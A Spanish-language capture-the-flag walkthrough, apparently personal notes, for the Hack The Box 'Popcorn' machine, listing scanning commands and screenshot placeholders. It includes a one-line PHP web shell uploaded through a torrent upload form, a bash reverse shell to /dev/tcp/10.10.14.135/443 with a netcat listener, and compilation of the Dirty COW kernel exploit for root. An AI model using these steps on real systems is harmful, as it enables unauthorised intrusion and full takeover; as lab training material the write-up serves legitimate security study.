nmap -A -p- -oA popcorn 10.129.36.23 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA popcorn 10.129.36.23

nmap -sU -O -p- -oA popcorn-udp 10.129.36.23

nikto -h 10.129.36.23:80

gobuster dir -k -u http://10.129.36.23/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Pasted image 20220124160446.png

Pasted image 20220124160559.png

nmap --script http-enum -p80 10.129.36.23 -oN webscan -Pn

Pasted image 20220124160720.png

http://popcorn.htb/test

Pasted image 20220124161221.png

Pasted image 20220124161502.png

echo "10.129.36.23 popcorn.htb" | sudo tee -a /etc/hosts

Pasted image 20220124162046.png

wfuzz -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://popcorn.htb/FUZZ

Pasted image 20220124175909.png

http://popcorn.htb/torrent/upload

Pasted image 20220124180454.png

Usamos burpsuite y interceptamos ponemos filename cmd.php

Pasted image 20220124180056.png

Tratamos de editar el archivo que subimos

Pasted image 20220124180533.png

Subimos un archivo cuando editamos

Pasted image 20220124181033.png

Usamos burpsuite y interceptamos ponemos filename cmd.php

Y ponemos el codigo <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";?>

Pasted image 20220124183012.png

http://popcorn.htb/torrent/upload/

Y encontramos el archivo php

Pasted image 20220124183028.png

http://popcorn.htb/torrent/upload/892.....php?cmd=whoami

Pasted image 20220124183139.png

http://popcorn.htb/torrent/upload/892.....php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.135/443 0>%261 "

nc -lvnp 443

Pasted image 20220124183452.png

Adquirimos el flag

Pasted image 20220124183654.png

script /dev/null -c bash Despues hacer un ctrl Z stty raw -echo; fg reset El terminal type es: xterm export TERM=xterm export SHELL=bash stty rows 44 columns 187

find \-perm -4000 2>/dev/null

Pasted image 20220124184059.png

uname -a

lsb_release -a

Pasted image 20220124184227.png

cd tmp

vim exploit.c

https://www.exploit-db.com/exploits/40839

gcc -pthread exploit.c -o dirty -lcrypt

./dirty

Pasted image 20220124184901.png

boxes

copyright©2022 Cu3rv0x all rights reserved